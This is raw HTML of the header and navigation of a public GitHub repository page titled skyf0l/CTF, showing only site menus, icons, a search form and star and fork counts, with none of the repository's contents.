<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="266067883" data-scoped-search-url="/skyf0l/CTF/search" data-owner-scoped-search-url="/users/skyf0l/search" data-unscoped-search-url="/search" data-turbo="false" action="/skyf0l/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="giA2MZlLL9J+TrabcAgYSihDjSoOq1i6zbwz4BD8jLILd340PcXBe+HJKRLS5gM0e41EuKnMm1s3wARRLrVDVA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> skyf0l </span> <span>/</span> CTF
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>2</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>14</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
